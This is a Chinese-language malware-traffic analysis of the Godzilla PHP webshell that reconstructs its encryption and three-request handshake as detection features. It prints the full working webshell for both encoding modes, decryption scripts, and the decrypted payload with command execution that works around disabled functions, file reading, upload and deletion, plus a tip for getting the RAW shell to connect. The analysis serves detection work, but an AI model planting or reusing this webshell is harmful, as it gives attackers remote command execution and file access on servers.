1.2 请求体特征
1.2.1 PHP_XOR_BASE64
以默认 shell 的密码和密钥为例,生成的文件如下:
<?php
session_start();
@set_time_limit(0);
@error_reporting(0);
function E($D,$K){
for($i=0;$i<strlen($D);$i++) {
$D[$i] = $D[$i]^$K[$i+1&15];
}
return $D;
}
function Q($D){
return base64_encode($D);
}
function O($D){
return base64_decode($D);
}
$P='pass';
$V='payload';
$T='3c6e0b8a9c15224a'; // md5(key)[:16]
if (isset($_POST[$P])){
$F=O(E(O($_POST[$P]),$T));
if (isset($_SESSION[$V])){
$L=$_SESSION[$V];
$A=explode('|',$L);
class C{public function nvoke($p) {eval($p."");}}
$R=new C();
$R->nvoke($A[0]);
echo substr(md5($P.$T),0,16);
echo Q(E(@run($F),$T));
echo substr(md5($P.$T),16);
}else{
$_SESSION[$V]=$F;
}
}
其中比较核心的地方有两处,第一处是进行异或加密和解密的函数 E($D,$K)
,第二处是嵌套的两个 if 对哥斯拉客户端上传的代码做执行并得到结果。
根据 $F=O(E(O($_POST[$P]),$T));
第 21 行做逆向判断,可以得到哥斯拉客户端上传代码时的编码加密过程:
原始代码 -> Base64 编码 -> E 函数进行异或加密 -> 再 Base64 编码
进入第二个 if 语句,首先判断 $_SESSION[$V]
是否存在,客户端首次连接 shell 时会在 $_SESSION
中保存一段代码,叫 payload
。结合后面 的 run
函数,这个 payload
在后续 shell
连接过程中会被调用。整个 shell 的运行原理到这里基本就能明确了,可以用一篇文章中的流程图来总结:
在客户端上配置代理,利用 Burp 查看下 webshell 的交互流量。
在客户端首次连接时,会有连续三个请求,第一个请求如下:
根据上述分析的加密原理,可以写一个简单的解密脚本,将 pass
数据进行解密:
<?php
function E($D,$K){
for($i=0;$i<strlen($D);$i++) {
$D[$i] = $D[$i]^$K[$i+1&15];
}
return $D;
}
function O($D){
return base64_decode($D);
}
$P='pass';
$V='payload';
$T='3c6e0b8a9c15224a'; // md5(key)[:16]
echo O(E(O("要解密的数据"), $T));
?>
解密得到的数据为:
<?php
$parameters=array();
function run($pms){
formatParameter($pms.'&ILikeYou='.base64Encode('metoo'));
if ($_SESSION["bypass_open_basedir"]==true){
@bypass_open_basedir();
}
return base64Encode(evalFunc());
}
function bypass_open_basedir(){
// ...
}
function formatParameter($pms){
global $parameters;
$pms=explode("&",$pms);
foreach ($pms as $kv){
$kv=explode("=",$kv);
if (sizeof($kv)>=2){
$parameters[$kv[0]]=base64Decode($kv[1]);
}
}
}
function evalFunc(){
@session_write_close();
$className=get("codeName");
$methodName=get("methodName");
if ($methodName!=null){
if (strlen(trim($className))>0){
if ($methodName=="includeCode"){
return includeCode();
}else{
if (isset($_SESSION[$className])){
return eval($_SESSION[$className]);
}else{
return "{$className} no load";
}
}
}else{
return $methodName();
}
}else{
return "methodName Is Null";
}
}
function deleteDir($p){
$m=@dir($p);
while(@$f=$m->read()){
$pf=$p."/".$f;
@chmod($pf,0777);
if((is_dir($pf))&&($f!=".")&&($f!="..")){
deleteDir($pf);
@rmdir($pf);
}else if (is_file($pf)&&($f!=".")&&($f!="..")){
@unlink($pf);
}
}
$m->close();
@chmod($p,0777);
return @rmdir($p);
}
function deleteFile(){
$F=get("fileName");
if(is_dir($F)){
return deleteDir($F)?"ok":"fail";
}else{
return (file_exists($F)?@unlink($F)?"ok":"fail":"fail");
}
}
function copyFile(){
$srcFileName=get("srcFileName");
$destFileName=get("destFileName");
if (@is_file($srcFileName)){
if (copy($srcFileName,$destFileName)){
return "ok";
}else{
return "fail";
}
}else{
return "The target does not exist or is not a file";
}
}
function moveFile(){
$srcFileName=get("srcFileName");
$destFileName=get("destFileName");
if (rename($srcFileName,$destFileName)){
return "ok";
}else{
return "fail";
}
}
function getBasicsInfo()
{
//...
}
function getFile(){
// ...
}
function readFileContent(){
$fileName=get("fileName");
if (@is_file($fileName)){
if (@is_readable($fileName)){
return file_get_contents($fileName);
}else{
return "No Permission!";
}
}else{
return "File Not Found";
}
}
function uploadFile(){
$fileName=get("fileName");
$fileValue=get("fileValue");
if (@file_put_contents($fileName,$fileValue)!==false){
return "ok";
}else{
return "fail";
}
}
function newDir(){
$dir=get("dirName");
if (@mkdir($dir,0777,true)!==false){
return "ok";
}else{
return "fail";
}
}
function newFile(){
$fileName=get("fileName");
if (@file_put_contents($fileName,"")!==false){
return "ok";
}else{
return "fail";
}
}
function execCommand(){
$result = "";
$command = get("cmdLine");
$PadtJn = @ini_get('disable_functions');
if (! empty($PadtJn)) {
$PadtJn = preg_replace('/[, ]+/', ',', $PadtJn);
$PadtJn = explode(',', $PadtJn);
$PadtJn = array_map('trim', $PadtJn);
} else {
$PadtJn = array();
}
if (FALSE !== strpos(strtolower(PHP_OS), 'win')) {
$command = $command . " 2>&1\n";
}
if (is_callable('system') and ! in_array('system', $PadtJn)) {
ob_start();
system($command);
$result = ob_get_contents();
ob_end_clean();
} else if (is_callable('proc_open') and ! in_array('proc_open', $PadtJn)) {
$handle = proc_open($command, array(array('pipe','r'),array('pipe','w'),array('pipe','w')),$pipes);
$result = NULL;
while (! feof($pipes[1])) {
$result .= fread($pipes[1], 1024);
}
@proc_close($handle);
} else if (is_callable('passthru') and ! in_array('passthru', $PadtJn)) {
ob_start();
passthru($command);
$result = ob_get_contents();
ob_end_clean();
} else if (is_callable('shell_exec') and ! in_array('shell_exec', $PadtJn)) {
$result = shell_exec($command);
} else if (is_callable('exec') and ! in_array('exec', $PadtJn)) {
$result = array();
exec($command, $result);
$result = join(chr(10), $result) . chr(10);
} else if (is_callable('exec') and ! in_array('popen', $PadtJn)) {
$fp = popen($command, 'r');
$result = NULL;
if (is_resource($fp)) {
while (! feof($fp)) {
$result .= fread($fp, 1024);
}
}
@pclose($fp);
} else {
return "none of proc_open/passthru/shell_exec/exec/exec is available";
}
return $result;
}
function execSql(){
// ...
}
function pdoExec($databaseType,$host,$port,$username,$password,$execType,$sql){
// ...
}
function base64Encode($data){
return base64_encode($data);
}
function test(){
return "ok";
}
function get($key){
global $parameters;
if (isset($parameters[$key])){
return $parameters[$key];
}else{
return null;
}
}
function includeCode(){
@session_start();
$classCode=get("binCode");
$codeName=get("codeName");
$_SESSION[$codeName]=$classCode;
@session_write_close();
return "ok";
}
function base64Decode($string){
return base64_decode($string);
}
?>
传输的脚本很长,包含 run、bypass_open_basedir、formatParameter、evalFunc 等二十多个功能函数,具备代码执行、文件操作、数据库操作等诸多功能。
可以发现该条数据包并没有回包,可以作为流量识别的其中一个特征。
第二条数据包及解密情况如下:
跟进第一步解密得到的 run
函数,首先经过 formatParameter
对参数进行处理
信息 作者还在此处拼接了一个 '&ILikeYou='.base64Encode('metoo')
将键和 base64
解密后的值,此处为: methodName=test
。存放在全局变量 parameters
中,然后再交给 evalFunc
去执行进一步的操作。
此外,我们对回包情况做分析,根据 webshell 的第 28 行和第 30 行, run
函数中的 return base64Encode(evalFunc());
echo substr(md5($P.$T),0,16);
echo Q(E(@run($F),$T));
echo substr(md5($P.$T),16);
可以知道,回包是由 $P
和 $T
拼接后的 MD5 前 16 位和后 16 位组成。中间是由 base64encode
+ 异或 + base64_encode
组成。
解密时,首先去除前 16 位和后 16 位,利用之前的解密脚本,进行解密,得到
说明该请求是一条测试请求,证明 shell 连接成功。
第三个请求的作用是获取目标的环境信息,请求内容为:
利用相同方法解密得到:
解密得到原始代码 methodName=Z2V0QmFzaWNzSW5mbw==
,即 methodName=getBasicsInfo
。此操作调用 payload 中的 getBasicsInfo 方法获取目标环境信息向客户端返回。显然,这个过程又是一个固定特征。
至此,成功挖掘到哥斯拉客户端与 shell 建连初期的三个固定行为特征,且顺序出现在同一个 TCP 连接中。可以总结为:
特征:发送一段固定代码(payload),http 响应为空
特征:发送一段固定代码(test),执行结果为固定内容
特征:发送一段固定代码(getBacisInfo)
1.2.2 PHP_RAW_BASE64
技巧
我在测试时发现使用默认生成的 raw 格式的 payload 一直连接失败
将生成的 webshell 第 30 行的 run 函数前加上 @
即可成功连接。
<?php
session_start();
@set_time_limit(0);
@error_reporting(0);
function E($D,$K){
for($i=0;$i<strlen($D);$i++) {
$D[$i] = $D[$i]^$K[$i+1&15];
}
return $D;
}
function Q($D){
return base64_encode($D);
}
function O($D){
return base64_decode($D);
}
function I(){
return "php://input";
}
$V='payload';
$T='3c6e0b8a9c15224a';
$F=O(E(file_get_contents(I()),$T));
if (isset($_SESSION[$V])){
$L=$_SESSION[$V];
$A=explode('|',$L);
class C{public function nvoke($p) {eval($p."");}}
$R=new C();
$R->nvoke($A[0]);
echo E(@run($F),$T);
}else{
$_SESSION[$V]=$F;
}
通过比对可以发现,RAW 格式的 shell 与之前的 shell 增加了 I 函数,接收客户端的参数,解密时也少了一步 base64_decode
。同样的,在返回结果时,也取消了 MD5 的字符串的分隔,下面做进一步分析。
进入 shell 后,还是相同的三步,设置 session,发送 test,获取基础信息。
本次的解密脚本:
<?php
function E($D,$K){
for($i=0;$i<strlen($D);$i++) {
$D[$i] = $D[$i]^$K[$i+1&15];
}
return $D;
}
function O($D){
return base64_decode($D);
}
$P='pass';
$V='payload';
$T='3c6e0b8a9c15224a'; // md5(key)[:16]
echo O(E(file_get_contents("./res.txt"), $T));
?>
由于将 HTTP body 中的数据保存在 res.txt 文件中,并解密,可以得到第一步中的 PHP 脚本信息:
脚本内容基本无变化,具体可以参考上一节的内容。
此时,回包加密的逻辑为 base64encode
+ 异或的形式。
至此,Godzilla PHP 的两种 shell 加密模式分析完毕。
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。
绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论